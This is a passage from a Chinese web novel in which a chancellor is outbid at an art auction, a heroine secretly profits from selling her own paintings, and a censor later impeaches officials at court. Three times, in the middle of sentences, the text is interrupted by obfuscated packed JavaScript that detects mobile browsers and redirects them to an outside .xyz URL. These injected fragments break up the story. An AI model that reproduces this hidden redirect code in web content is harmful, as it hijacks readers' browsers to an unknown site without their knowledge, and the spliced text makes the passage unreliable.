最后一次从茅房那边回来,简玉珩去了密室,把一个匣子捧出来,掏出最上面一个册子,翻开某一页,给傅璋看。 打开的那一页,写着#兹委托麒麟阁代售千年红珊瑚一座:带座高三尺,宽两尺一寸,重五十斤。起卖三千两银子起、金千两起,上不限定。 委托人:崔......# 委托人崔某,崔后面的名字简玉珩给他看了一眼,立即把委托书盖上了,但足够傅璋看清楚“溪亭”二字。 崔溪亭,太皇太后的娘家庶孙,商籍。 这是一张正儿八经的拍卖委托函件,有手印有签字。 简玉珩苦笑了一下:“丞相大人明白了吧,小的按说哪里敢忤逆您的意思,可您也看见了,这不是普通人。小的也不要您答应三个条件,只求您不要说出去在小的这里看见过。” 傅璋“明白了”! 他微微颔首,说道:“简阁主,感谢你今天的坦诚,本相答应你的三个条件依然奏效,你随时可找本相兑现。” 简玉珩:“谢丞相大人。” 弄清“原委”,傅璋起身离去。 上了马车,就拉下脸来。 若他真花几万两银子买下来,送给太皇太后,只是人家的东西回到人家手中而已。 亏他还编出什么海啸的借口说千年红珊瑚是麒麟阁的。 欺人太甚! 可他再恨,也必须巴结太皇太后,他现在力量还不够。 腊月二十日,麒麟阁拍卖会。 整个麒麟阁拍卖场座无虚席。 拍卖台在一楼,参拍人分楼上、楼下两层。楼下是阶梯座位,楼上是雅间,一共四个雅间,扇形,环拱拍卖台。 傅璋定了三号雅间。 隔壁三间内不知道是谁,他到达的时候,那边已经都有了人,小二逐个房间端茶送点心。 今天几乎所有的人都是冲着松青大师的两幅画来的。 拍卖师没那么多废话,上来说了一些场面话,又讲了拍卖规则,大意是拍品全部经过麒麟阁的专业鉴定,绝对都是真品;其二,拍卖一旦落槌,不得悔拍。 悔拍者不仅要没收保证金,还要把悔拍人的真实姓名和身份张榜公告,永远不准再进入麒麟阁参与各种拍卖。 讲完,便进入正式拍卖环节。 先是拍卖了一些其他珍宝,第三件拍品才是松青大师的《万里红染图》。 万里红染图,也可以叫做万里江山图。 拍卖师把它打开,全场展示。 该作品乃长卷,画面细致入微,烟波浩渺的江河、层峦起伏的群山构成了一幅美妙的山水图。 渔村野市、水榭亭台、茅庵草舍、水磨长桥,更多的是山间一望无际的枫林。静景穿插捕鱼、驶船、游玩、赶集等动景,动静结合恰到好处。 人物的刻画极其精细入微,意态栩栩如生,飞鸟用笔轻轻一点,具展翅翱翔之态,跃然纸上。 “该作品是松青大师首次写意与写实结合,起拍价一千两白银。”拍卖师道,“竞价阶梯不低于十两。” 起拍开始,立即有人喊价:“一千零十两。” 拍卖师看过去,那是简玉珩安排的托。 然后其他人开始不甘落后,竞价者此起彼伏。 “一千一百两。” “一千五百两。” ...... “五千两。” 傅璋不着急,五千两银子不算什么,他今天准备了十万两呢。 千年红珊瑚是没戏了,尽管他心里“有数”,这一定是崔溪亭把东西藏起来了,但是万里红染图他是一定要拍下来的。 竞价越往后参与者越少,最后只剩下楼上四个雅间在比拼。 “一万两。”傅璋让王巍喊出这个数字时,有些皱眉。 一万两真的是特别高了,他的一幅字画也最多卖出一千两。 不过他这边才喊出来一万两,一号间就立即喊道:“一万五千两。” 二号间不甘示弱:“一万八千两。” 一楼开始嗡嗡:“一万八千两!银子真不是银子啊!” “咋着不是银子?你没有,就别觉得别人没有?” “上面怕都是败家子吧?” 傅璋咬牙,示意王巍继续喊价。 王巍:“一万九千。” 一号间:“两万。” 二号间:“五万。” ......当二号间喊出“五万两”的时候,傅璋想放弃了。 五万两,这样一个数字传出去,只怕他在太后跟前都没法解释收入来源。 王巍早就想停手了,尽管他是太后娘娘赏赐傅璋的,但是他可是正儿八经的有品级的侍卫。 他都没见过太后和陛下这么大手大脚地花钱过。 “五万一千两。”王巍喊道。 傅璋小声说:“如果再有人叫,就放弃。” 二号间,子听小声问凤阙:“王爷,还抬价吗?” 凤阙一直闭目养神,懒洋洋地抬眸,唇角扬起嚣张的弧度,道:“本王心善,让给他了。” 子听轻轻抽抽嘴角:还心善?你都快把傅璋坑死了。松青大师的画,简阁主说了,估值也就一万两。 明知道傅璋急需此画拿去买通太皇太后,王爷你就往死里哄抬。 二号间停止了喊价,一号间也停止了,四号间也没了动静,哦,小王爷忘了,四号间也是他的人。 拍卖师喊了“五万一千两”三遍,没人再加价,拍卖师高兴地落槌:“恭喜楼上三号雅间的贵客拍得松青大师的《万里红染图》。” 全场响起雷鸣般的掌声。 不多一会儿,麒麟阁的掌柜和小二们鱼贯而入,《万里红染图》送来三号雅间,还送来了点心、酒水、麒麟阁赠送的成交礼盒。 傅璋没有看万里红染图,却去看那些礼盒。 三个礼盒,一个礼盒里装着一副女子的首饰头面,价值百两以上。 一个礼盒里装着屠苏酒两瓶。 第三个礼盒装着一株二十年的人参,价值也要百两。 他很满意。 红染图是好,但是只是倒倒手,只有这些赠品,才真正属于他。 万里红染图把拍卖推向高潮,许多人开始头脑发烫,觉得银子不叫银子,只是个数字。 接下去一件拍品——《富贵寿考图》。 这幅画从来没有展示过。 拍卖师叫麒麟阁的小二展开画卷,全场走动让竞拍者近观,最后把它挂在拍卖场高处,叫全场都能看见。 “各位贵宾,这幅富贵寿考图,是麒麟阁从松青大师那里得来的另外一幅精品,亦名祝寿图。” 万里红染图布局震撼人心,这幅富贵寿考图便是直击人心最软处,这样一幅为老人祝寿的绝佳作品,那是必须要拿下的。 试问,谁家没有老人?谁没有几个要讨好的老人? 又是松青大师的作品,简直比万里红染图还要勾人心。 傅璋脸色苍白。 其实他更想购买下这幅画,送人或者自己欣赏、投资,都有无穷的益处。 可惜他已经拍下一幅,这幅寿考图价值估计比红染图还要高。 这幅画的起拍价也是一千两银子。 这次没用简玉珩找托,楼上二号雅间直接喊了三千两。 一号间喊:“三千一百两。” 楼下跟着加五十,加一百的都有。 傅璋忽然有些恶趣味,他要把这画价格哄抬上去,但是他不买,叫一号间二号间两个可恶的家伙也损失一大笔。 第59章 王爷太妖孽,渣男气吐血 他示意王巍往上拉价。 王巍便喊道:“五千两。” 一号间:“五千一百两。” 二号间:“八千两。” **间:“九千两。” 王巍:“两万两。” 一号间、二号间和**间都沉默了一瞬。 傅璋忍不住唇角弯起来,坑死你们几个吊人。 不过只过了一息,一号间立即喊:“两万一千两。” 二号也不示弱:“两万五千。” 楼下的也不喊价了,跟着看热闹,他们看出来了,自己就是个陪衬,这么好的东西,轮不到他们这些连雅间都要不起的拍客。 楼下一片嘈杂。 有人起哄,喊道:“松青大师的作品,要一万一万的加才来劲儿。” 在**间喊完后,傅璋正要喊“五万两”,王巍说:“相爷,我们没带那么多银子,万一您喊了五万两他们不跟了怎么办?” 傅璋悻悻地闭了嘴。 就这么说话的一会儿,二号再次喊道:“三万。” 楼下的大声鼓掌,大喊:“这才叫懂行,瞧瞧,大手笔!” 一号间:“三万一千。” 二号间:“三万五千。” **间:“三万六千。” 傅璋想着二号间硬生生把《**红染图》拉到五万两,这次看二号间又如此积极地抬价,不知道又想坑谁?难道真想买松青大师的画作? 根据二号间出手五万两就不再叫价,傅璋估计二号间的人手头可能最多有五万两银子。 他对王巍说,喊四万九千九百九十两! 王巍小声说:“相爷,万一对方不要,我们就要吃下了。” “放心,隔壁的手头估计有五万零几百两,不然上一幅图他就和我争到底了。” 主仆俩相视一笑,王巍喊了价:“四万九千九百九十两。” 楼下的哇哇大叫,天哪,还能出这种价格? “肯定挤兑二号间出价五万。” “二号间肯定出五万,才差十两。” 然后…… 等了好久! 一号间、二号间、**间都哑巴了,没人喊价了! 傅璋有些慌神,叫啊,**怎么都不叫了? 他可不想一次性拍下两幅这么昂贵的画。 就在他有点后悔抬价的时候,拍卖师大声喊道:“三号雅间贵客给出了四万九千九百九十两,还有出更高价的吗?” 王巍紧张得两股战战。 傅璋问王巍:“我们还有多少银子?” “银子还有,只是,这么多银子拿出去,一时半会画作都不能拿出来示人。” 拍卖场有个三天的尾款结算期,王巍知道,丞相大人银票不缺。 只是,世上没有不透风的墙,一次性拍下两幅作品,都超过五万两银子,传到御史的耳朵里,丞相肯定落不了好。 正在傅璋如坐针毡时,二号雅间再次报价:“一百万两。” 全场一刻寂静。 然后,不可置信地互相询问。 “多少?” “好像,好像是一百万两!” 嗷~ 一百万两! 三号间的五万两算个屁! 拍卖师也愣住了,小王爷这是疯了吗?是不是弄错了? 他问道:“请问二号间贵客,您出价一百万两银子对吗?” “对,一百万两。” 这次,大家都听清楚了。 嘶声一片。 再也没有人争了! “一百万两,二号雅间的贵客出价一百万两,还有更高的吗?” 拍卖师大声喊道,力求压住全场的骚动,“一百万两一次,一百万两两次,一百万两三次,成交!” 拍卖师激动地落了槌。 “恭喜二号雅间贵客,拍得松青大师的作品《富贵寿考图》。” 然后他又大声宣布:“恭喜麒麟阁,刷新麒麟阁拍卖会有史以来,单品成交价金榜!” 一百万两一幅画,这是麒麟阁创造的奇迹。 松青大师《富贵寿考图》将有很长一段时间稳坐金榜首席! 从今天开始,东洲大陆,所有的至宝,将会竞相交给麒麟阁拍卖。 麒麟阁拍卖场将走向新的纪元和高度。 全场鼓掌,掌声雷动,呼喊声和口哨声排山倒海。 所有的人都很激动,今天算是见识到,什么叫作富贵,什么叫作挥金如土。 傅璋一开始脸色如吃屎一样难看,他以为**红染图出五万一千两已经很高很高了,没想到哪里冒出来一个败家子,一幅画竟然给出一百万两! 这人肯定是个世家子,嫡长子,族长…… 他哈哈大笑起来,倾家荡产,一幅画一百万两,他有什么好羡慕嫉妒的,对方只怕回到家族里就得死! 二号间。 麒麟阁的掌柜和小二们并没有马上进去祝贺,小二们端着贺礼托盘,在走廊里排成一排,等待掌柜发话。 麒麟阁的掌柜走出来,给大家抱歉地说:“请现场各位贵客稍等,出现了一点小插曲,稍后便好。” 顿时全场“嗡嗡”声一片。 临场撤拍? 买家没有那么多银子?悔拍了? 傅璋也在窗前看着下面,不管是出什么意外,他都无比乐意看笑话。 大约两刻钟后,阁主简玉珩亲自前来。 只见掌柜的与三个壮实的男子,抬着一幅巨幅画轴走到拍卖台,脸上是抑制不住的激动。 “恭喜王爷,贺喜王爷。”简玉珩一进门就恭喜。 凤阙靠在圈椅上,腰间塞了软垫,双足放在案几上,瞟了简玉珩一眼,说道:“画呢?” “我可是真心羡慕嫉妒啊——”简玉珩指着楼下拍卖台上巨大的卷轴,嫉妒地说,“刚刚,松青大师告诉本阁主,赠品送来了。你先看赠品吧!” “赠品?” “早知道松青大师会送这样的赠品,我就算把麒麟阁都押上也要拍下寿考图!” 简玉珩捶胸顿足地说,“这赠品,若非松青大师明确指定赠送给买家,麒麟阁真想昧下来!” 凤阙双目一亮,一改刚才的慵懒和随意,跳起来,大踏步走出门外。 拍卖台放着一幅巨大的卷轴。 观众本来想看看二号间是哪个败家子,此时看到巨幅画轴,都好奇地问道:“掌柜的,这是什么?” “赠品!”掌柜的兴奋地说,“是赠予二号间贵客的。” “打开看看呗。” “这要等贵客的指令!” 凤阙从雅间里走出来,大家一时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446491|169418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些面面相觑。 “这是谁啊?” “相貌太出众了,不会是个……啥吧?” 啥?小倌! 不对,那气势哪里是普通贵公子,是什么王公贵族吧? 大家猜测间,便有麒麟阁的托,惊叫道:“啊,是凤小王爷拍下来富贵寿考图!” “啊,原来是他呀,赌圣出来啦!逢赌必赢,小王爷把赢的银子都拿来拍这幅图了吧?” “老太妃马上六十大寿了,怪不得他要拍下来,原来是要送给祖母的。” “王爷太孝顺了!” 把身份揭露了,还引导夸赞凤阙的孝心。 全场立即跟着惊呼:“凤小王爷?啊,他啥时候回来了?” “除了凤小王爷,再没有人如此英俊。” “嘘,小声点,这位最讨厌别人议论他相貌……” 议论的也不敢大声议论,毕竟凤小王爷的传说可多呢! 大家大声喊道:“王爷,能打开赠品叫小的们开开眼吗?” 凤阙看简玉珩激动,就知道这赠品绝对是极品。 就凭这个巨幅,那就是绝品、孤品。 他长这么大也没见过这么大的一幅画作。 “打开!”凤小王爷居高临下,全场一片欢呼。 “松青大师构思两年、绘画三年的巨作,《江山图》!” 简玉珩用了内力,声音在整个拍卖厅回荡,“此画,长三丈,宽两丈。松青大师赠予单品超过十万两银子的买家。” 他的话落,傅璋忍不住叫王巍扶着他从三号间走出! 全场再次高呼,惊呼,狂呼。 哇,五万一千两拍下《**红染图》的是丞相大人。 只是,丞相被侍卫扶着,单足站立,双臂下垂,怎么胳膊腿都断了? 《江山图》缓缓展开。 近景乃江南的青翠山川、高山苍松;中景是山峦与江河皴擦间的过渡,远景则是雪山皑皑,仿佛涌动的浪花,浩渺苍茫。一轮红日照耀着锦绣山河,气势恢宏、波澜壮阔。 在豪放之中,又精细地描绘了每一个细节,令人叹为观止。 震撼! 全场的人,羡慕嫉妒**。 画作市场一向以尺寸计费,这幅画如此巨大,又是松青大师的作品,却拿来作为富贵寿考图的赠品。 没倾家荡产拍下寿考图的人,都后悔的肠子青了又红,红了又青。 这样一幅画,影响力有多大? 单这一幅画,价值何止百万两。 这才是真正古往今来头一份,值得流传万古的孤品呐! 傅璋的心里说不出的难受,胸腔热辣,一翻滚,喉头涌出一口腥甜。 一百万的《寿考图》,无价的赠品《江山图》,把傅璋的《**红染图》压得连一朵水花都翻不起。 他可以想象,这幅江山图,一定震撼整个大陆。 所有拍品,黯然失色,所有目光,聚焦“赠品”,所有的心机谋算,在绝对的实力面前,都是笑话。 输个彻底。 王巍低着头,沮丧地想,怎么这么倒霉?松青大师是不是有病?不是说作品鲜少面世吗?怎么一下子出来这么多? 还一幅比一幅震撼! 他正腹诽,忽然看见一号间的人走出来。 第60章 喷喷喷,御史喷得飞起 一号间是云裳郡主和她的丫鬟芳苓、芳芷! “相爷,相爷,一号间的客人是郡主。”王巍扯了一下傅璋的衣袖,努了努嘴。 傅璋看向梁幼仪,她依旧很清冷,清润的眼睛,一直盯着那幅江山图。 他手指蜷了蜷,她果然没事! 姜霜和嫂嫂,有一个人撒了谎。 他回头一定要弄清楚。 因太后看云裳郡主不顺眼,定国公府那群疯子处处针对她,她日子不好过。他知道她依赖自己,想靠着嫁给他改变命运。 所以每次即便她再生气,他哄一哄就好。 看样子,他这些日子持之以恒地去探望她,她还是感动了。 嘴上硬说着要和他退婚,实际上还是心悦他,专门来为他拍那几幅作品。 想到刚才一号间不断地抬价,他与她竟然成了内耗,傅璋有点心绞痛。 梁幼仪想为自己拍宝物,为何不早点告诉自己? 早知道她会拍了送给自己,他就不必花那么多银子拍**红染图了! 梁幼仪看都没看他一眼,还喜欢空手套白狼?想要银钱吗?我烧点给你? 凤阙几乎扑到《江山图》跟前,看着左上角松青大师特有的题字“江山如此多娇”,他双目明亮,湖水一般波光粼粼。 平生性酷爱江山,今日江山满目前。波声撼岸连淮壤,雁阵惊寒入楚天。 这画构思两年,绘制三年,落款宁德一年。凤阙再次看了看梁幼仪,心跳加速。 梁幼仪面色如常,也走到那幅画前。 这幅画,她日夜不停画了整整三年。 后来装裱又费了半年时间。 这幅画是写实,江南的青翠山川、高山苍松取自她与曾祖母待过的淮南; 雪山皑皑,是她十二岁那年被祖父委派,千里独身押送粮草爬过的北境雪山。 红日照耀着云河雾海,是当年那个救她的少年带她去过的圣山顶峰。那时,看红日跃出地平面,她心胸豁然开朗,顿悟生的意义。 这幅画今日作为赠品拿出去,以后再也不属于她了。 她从此,只是它的看客。 凤阙忽然回眸,看见的就是她湿漉漉的眸子,心里闷闷地刺疼了一下。 “喜欢吗?”他问道。 梁幼仪忽然惊醒,微微颔首,说道:“恭喜!” “是挺喜的,我很喜欢!”凤阙张扬地对子听说,“子听,本王是不是赚翻了?” 子听马上配合地说:“当然,王爷眼光一向好。” 梁幼仪唇角微微勾了勾,她知道,凤阙是在给傅璋上眼药。 傅璋看了江山图,全身的精气神都被抽走了。 心塞,心塞**。 拍卖会结束后,芳苓去麒麟阁结算拍卖的两件宝物,扣除佣金一成,以及寿考图交易价的两成,简玉珩把七十六万五千两银票给了芳苓。 “扣除佣金和寿考图的两成,余额七十六万五千两,姑娘您数数。” 麒麟阁原本只给买家送上贺礼,但是梁幼仪的这两件宝物,尤其那个赠品《江山图》带来的震撼太大了,麒麟阁的名声原地升了好几度,并且麒麟阁实实在在赚到手二十八万五千两银子。 所以,麒麟阁赠送了一枚水头极好的古玉镯子。 色泽自然浓郁,质感细腻,水色兼备。 “这枚玉镯是麒麟阁收到的至宝,送给云裳郡主,结个善缘。希望郡主再有宝物,委托小店来拍卖。” 简玉珩一双狐狸眼笑眯着,专门指出,镯子是给郡主的。 当然,他也另外准备了一副金手镯,是给芳苓的,价值就差十万八千里了。 芳苓数了银票,回府。 银票、玉镯、金镯,芳苓都上交给梁幼仪。 梁幼仪把金镯子还给芳苓,说道:“既然是简阁主送你的,你就拿着。” 梁幼仪仔细地看那玉镯子,她是识宝的,这枚镯子一定不是寻常物件。 她在手里把玩一番,又放进玉盒里。 带上银票和玉盒,叫叠锦跟着,骑马绕城转了好几圈,确定无人跟踪,便去了南笙居。 画楼看她来了,依旧不声不响地把画室收拾好,悄悄出去,把南笙居守好。 梁幼仪再次把玩一番那枚玉镯,默默地把它放进玉盒,又塞进密室里。她现在还不能把它戴出去。 顺手把放在密室里上次画的《鸑抱云霞朝凤阙》拿出来。 画布已经干了,可以装裱了。 她微微歪头,看着画上那张明媚、张扬、野性的脸,不自觉地笑道:“你送的东西,我收下了!” 她把画放下,又开始数银票。 傅璋拿出来五万一千两银子买了**红染图,她算是收回来一部分花在他身上的银子。 **红染图,她的心理价位是一万到三万之间。 是凤阙帮她一路抬到了五万一千两。 而且,傅璋没有买到“长生不老药”千年**,更何况,有个《富贵寿考图》《江山图》死死压住《**红染图》。 红染图即便被他送给太皇太后,也已经失了原本的分量。 他不送,情况更糟。 为了弄银子,他去贪墨,黄德胜一直盯着,明日的朝会,又是一个热闹的朝堂。 而她,手头又多了七十六万五千两银子,还是定国公府不知道的银子。 她从盒子里抽出三十万两银票,其余四十多万两先塞进密室。 出了画室,她把三十万两银票递给叠锦:“你去一趟楚州,找到表弟姜落衡,银票都交给他。” 她与表弟姜落衡说好,把淮南淮北以及江南一带的粮食,无论粗粮细粮,全部收了,存放在楚州。 想来,表弟在楚州已经找好库房,可以开始囤积粮食了。 楚州东面靠海,西面靠大运河,是南北、陆海交通枢纽之地,只可惜别人看不出来,只当它是个缺少耕田、穷靠海的小县城。 她把粮食先收集好,存在楚州,然后用大船运到青州的库房。 叠锦翻身上马,去了。 从南笙居回到竹坞,芳苓问梁幼仪:“尾牙宴上不是和夏大小姐说好了,帮助她睡了傅璋,她给两千石细粮?怎么没动静?” “她目的达到,但因为和张龙也有了首尾,说不定正在恨我呢!”梁幼仪说,“叫芳芷再写一份揭帖,给黄大人送去。” 下药这种事解释不清,还沾一身腥,但黄德胜站在朝堂揭发是傅桑榆下药害夏青樾失身,那可信度高,梁幼仪自然洗清嫌疑。 当然,这次芳芷模仿的是蔺怀夕的笔迹,过年祈福,蔺怀夕抄了许多太平经,正好拿来给芳芷做了笔迹模仿。 万一东窗事发,就叫丞相大人和大理寺少卿蔺大人狗咬狗一嘴**。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446492|169418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >傅璋回到府里,府里冷冷清清,再没有嫂嫂相迎,想到四个孩子毁了三个,只觉心梗得难受。 可更心梗的是次日大朝。 大太监春安喊出“有本奏来,无事退朝”,御史大夫黄德胜手持那个小本本,说道:“臣有本。” 好嘛,今日又有人要倒大霉了。 所有人都猜到他肯定是要**傅璋,毕竟相府最近可是太出名了。 “我赌一文钱,他**丞相大人。” “我赌一个肉包子,**夏大人。” “他**夏大人作甚?”太后一派的人说,“我赌十个肉包子,**云裳郡主。” “你脑子有病,估计是**你!” …… 别人还都没说什么,倒是小皇帝萧千策两眼瞬间一亮。 哎呀,终于又有大瓜吃了。 这次是谁?是不是傅修恩做了小倌了?不对,他大哥应该也不错,挺适合做小倌儿。 “黄大人,你要**谁?快点说!”小皇帝激动地在龙椅上直了直腰,“这次你要骂谁?” 大家看到陛下一晌午都昏昏欲睡,这会儿精神百倍,一个个地都低下头,唉,皇帝长歪了! “皇上、太后娘娘,臣,**吏部尚书夏大人。”黄德胜大声说,“夏大人家宅混乱,夏大小姐思春失控,在宫中行苟且之事。” 夏致远脸涨得通红,破口大骂:“黄德胜,我x你老母……” **不打脸,骂人不揭短,夏青樾在宫里与丞相媾和已经令夏致远颜面尽失,好歹太后娘娘赐婚,把这事给圆过去了。 这种事看破不说破,黄德胜太可恶了,竟然拿到朝堂上来恶心他! 小皇帝听得新鲜,这多好,理不辩不明,喷他! 黄德胜跳着脚说:“夏大人,下官知道你很生气,但是你有这骂人的力气,不如留着管管你的后宅。 你女儿在宫里做出这样的事,很光荣么?是要所有的女子都效仿吗?” 夏致远羞窘万分,捂着脸对梁言栀说:“太后娘娘,此事已有定论,黄德胜不能这样侮辱臣。” 太后皱眉喝道:“黄德胜,休要再提了,此事朕已经训斥了夏大小姐。” “太后娘娘,臣**他养的女儿太蠢,被人骗了。”黄德胜说,“臣查到,那夏大小姐并非自己主动宽衣解带……” “黄德胜,你个老匹夫。” 什么宽衣解带,不要再说虎狼之词了好不好? “本官知道自己名叫黄德胜,不用夏大人提醒!”黄德胜气**不偿命地说,“夏致远,你们一门的蠢货!” “黄德胜,你才蠢,你全家都蠢……” 小皇帝笑得八颗小牙齿都露出来,蠢货,都是蠢货,喷,使劲喷,可以开始挥拳相向了吧? 黄德胜看着小皇帝双目晶亮,忍不住嘴角抽抽,陛下欸,臣是文臣,君子动口不动手! “夏大小姐之所以做出那种事,都是因为有人给她下了药!” 啥? 有人下药,真的假的?黄德胜竟然成了神探? 小皇帝双目炯炯有神,说道:“快说,是谁干的?” 夏致远原本想痛斥黄德胜的话都咽下去,急切地问道:“是谁?谁在害尚书府?” “黄德胜,是谁下的药?可有证据?”太后娘娘也问道。 黄德胜得意地把小本本又拿出来。 第61章 御史开挂,刀刀斩七寸 小皇帝一看他掏出小本本,就开始欢乐。 想着等会儿下朝,叫黄德胜把他手里的小本本借给自己看看。 黄德胜已经开喷,声音朗朗,说道:“尾牙宴前五日,丞相大人侄女身边的丫鬟金蝉,购买了霸道秽药。” “嘘~又是买秽药!上次傅二少不就是买的秽药吗?相府这么精于此道?” 太皇太后一派的人推波助澜,大理寺卿海瑞,厌恶地说:“相府的后宅实在是污秽不堪!” 小皇帝脱口而出:“是傅南凯买的那种秽药吗?” 黄德胜道:“是的陛下。” 太后皱皱眉头,伸手轻轻拍拍小皇帝的肩膀,威严地说道:“皇帝,臣子上奏,你只需听着就好。” “好的母后。”小皇帝知道自己错了,母后说过,在朝堂不准多说话。 傅璋脸顿时又黑了。 他放不下朝事,唯恐自己不在,百官把他架空,所以他是带病上朝,早知道黄德胜今日开喷,他就告病不来了。 他没急着辩解,先听敌方论点,然后一一怼回去。 太后深感厌恶,说道:“黄德胜,这傅小姐好端端地买秽药作甚?难道她早就想陷害夏大小姐?” “回禀太后娘娘,臣猜不着傅小姐想陷害谁,但是她确实把秽药带进了皇宫。 在偏殿等待宫宴的时候,她叫人把秽药下在茶水里,亲自给定国公府女眷敬茶。结果阴差阳错,那杯茶被夏大小姐喝掉了。” 他话落,整个朝堂都震惊了。 “啊!这,傅小姐竟敢算计定国公府女眷?” “夏小姐这是无妄之灾啊!” 大家议论纷纷,傅小姐到底想害谁? 要说是云裳郡主吧,人家本来就是丞相大人的未婚妻,根本用不着在宫里滚床单搞这一套。 要是害其他女眷...... 太皇太后一派、中立派都想看热闹,多有意思,这可比谈论头疼的国事有趣多了。 大家都偷眼看太后,定国公府,那可是太后的娘家! 傅璋的侄女这是想做甚么? 小皇帝猜着是想害云裳郡主,很简单啊,傅修恩都想栽赃云裳郡主,傅桑榆是他的妹妹,他们肯定都想害同一个人。 他看向太后,想说话又不敢说。 夏致远跪下,哭着说:“求太后娘娘做主,小女受无妄之灾,名誉尽毁,这些日子,内子衣不解带,日夜守着小女,唯恐她寻了短见,实在冤枉!” 不是他家风不好,是被人算计了! 别人都不明白,傅璋已经明白了。 傅桑榆下药能想害谁?肯定是郡主。 郡主没上当,反手踢给了夏青樾。 下秽药这种腌臜事,十之**又是嫂嫂的主意,一个九岁的孩子,她哪里想到这些? 他昨天从麒麟阁回来,看到府中冷冷清清,想到以往每天回来,嫂嫂总是笑脸相迎,他本来打算过几日,把他们接回府一起过年,他与嫂嫂好好温柔乡里忆旧岁。 今日被黄德胜爆出此事,还是算了。 只怕夏致远会上门找嫂嫂和榆儿算账。 他这些年的布局,全都被嫂嫂的目光短浅破坏了。 萧千策气恼傅修恩把他的玉佩丢在恭桶里,这时候一听是傅修恩的双胞胎妹妹又拿药害人,便说道:“去把傅小姐叫来,当堂对质。” 夏致远立即回道:“谢陛下,臣要求傅小姐当堂对质。” 傅璋道:“启禀太后娘娘,臣已经把嫂嫂一家赶出相府,如今侄女并不在府中。下朝后,臣一定会严查,给夏大人一个交代。” 萧千策还是个孩子,太后真不想在朝堂一直扯这些男女之事。 “黄德胜,此事交给丞相大人去处理吧。”她面色阴沉地说,“丞相,你嫂嫂真是搅家精!” 太后娘娘这一评价,基本断了姚素衣及子女在京都的前程。 傅璋气得头上青筋一跳一跳的,嫂嫂是个妇人,就算一辈子待在后院,也可以平安终老。 可孩子们前途尽毁,他难受。 那可都是他的亲生儿女啊! 他努力稳住心神,道:“谢太后娘娘,谢陛下宽恕。臣罪该万死!” 此事终于揭过。 夏致远脸色铁青,怎么会不知道傅璋的打算?傅璋就想大事化小,小事化了,叫他直着脖子吃下这个哑巴亏。 黄德胜翻了翻小本本,继续**。 全朝堂都很兴奋。 萧千策小眼睛亮晶晶地看着黄德胜。 来了,来了,他带着无穷的乐子又来了! 正在大家都精神饱满地听黄德胜又要怎么发疯时,却见黄德胜很客气地对傅璋道:“丞相大人,马上要过年了哦!” 傅璋一愣:“怎么?你想杀年猪?” “啊,不不不,下官问一下,上次您欠老百姓的债,还清了没有?老百姓可怜哪,年不知道过不过得下去?” 说到这个,傅璋顿时气结,双目通红地说:“本相自然知道百姓的难处,本相把母亲这么多年置办的铺子、田产、首饰,都抵押出去,又借了些银子,基本还清了。” “哦,那相爷您继续努力收尾!”黄德胜一改刚才的伏低做小,大声说,“臣,要**丞相大人,巨额收入来历不明、奸诈无耻、作风败坏!” 嘶~ 黄大人这是要做孤臣的节奏啊! 御史台大夫任国荣是太后的人,他与黄德胜虽然都是一个部门的,但是因为效忠的人不同,也互相疯咬。 “黄德胜,你最好拿出证据来,不然,污蔑丞相,其罪当诛。”任国荣愤怒地看着黄德胜。 黄德胜不慌不忙地拿着小本本,开始一条条说傅璋的罪证。 “上次本官**丞相大人骄奢淫逸,被他蒙混过去。臣如今有铁的证据! 在昨日,在麒麟阁拍卖会上,丞相大人以五万一千两白银的高价拍下松青大师的画作《**红染图》。” 他说完这话,全场都静默了,五万一千两?嘶~ 黄德胜大声质问:“请问,丞相大人,你一年的俸银只有一千四百四十两,还养着嫂嫂一家五口,四个书袋子,你是怎么攒了五万一千两银子的?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446493|169418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>任国荣心里骂娘,人家做上丞相了,五万一千两的银子算个屁?当官的,有几个是靠着俸银过活的? 可这话没法放桌面上讲。 傅璋早想好了,他说:“我一年俸禄一千余两不假,但是我相府有皇帝和太后赏赐的田产、铺子,积攒一些银两有什么问题?区区五万两,你府里拿不出来吗?” 黄德胜理直气壮地说:“下官确实拿不出!丞相敢与下官打赌吗?咱们两府一起搜?看哪个府里能搜出五万两?” 所有的御史,口袋比脸都要干净。 他们要撕别人,就要做到心底无撕(私),天地随便撕。 傅璋不想搭理他。 黄德胜又道:“他不仅以五万一千两拍下**红染图,还参与富贵寿考图的竞拍,喊价也喊到五万两。 十万一千两啊丞相大人!你家铺子那么挣钱啊?做的什么生意?说来听听?” 傅璋十分懊悔,昨日他是看到江山图太震惊,自己从雅间跑出来了,不然,怎么被这厮抓住小辫子? 萧千策看黄德胜十分愤怒地喷傅璋,便也问了一句:“丞相大人,你说说,你哪里来那么多银子?朕也学学,以后国库就不愁装不满了。” 傅璋由王巍搀着跪地,说道:“臣省吃俭用,家里铺子赚一些,还有——” 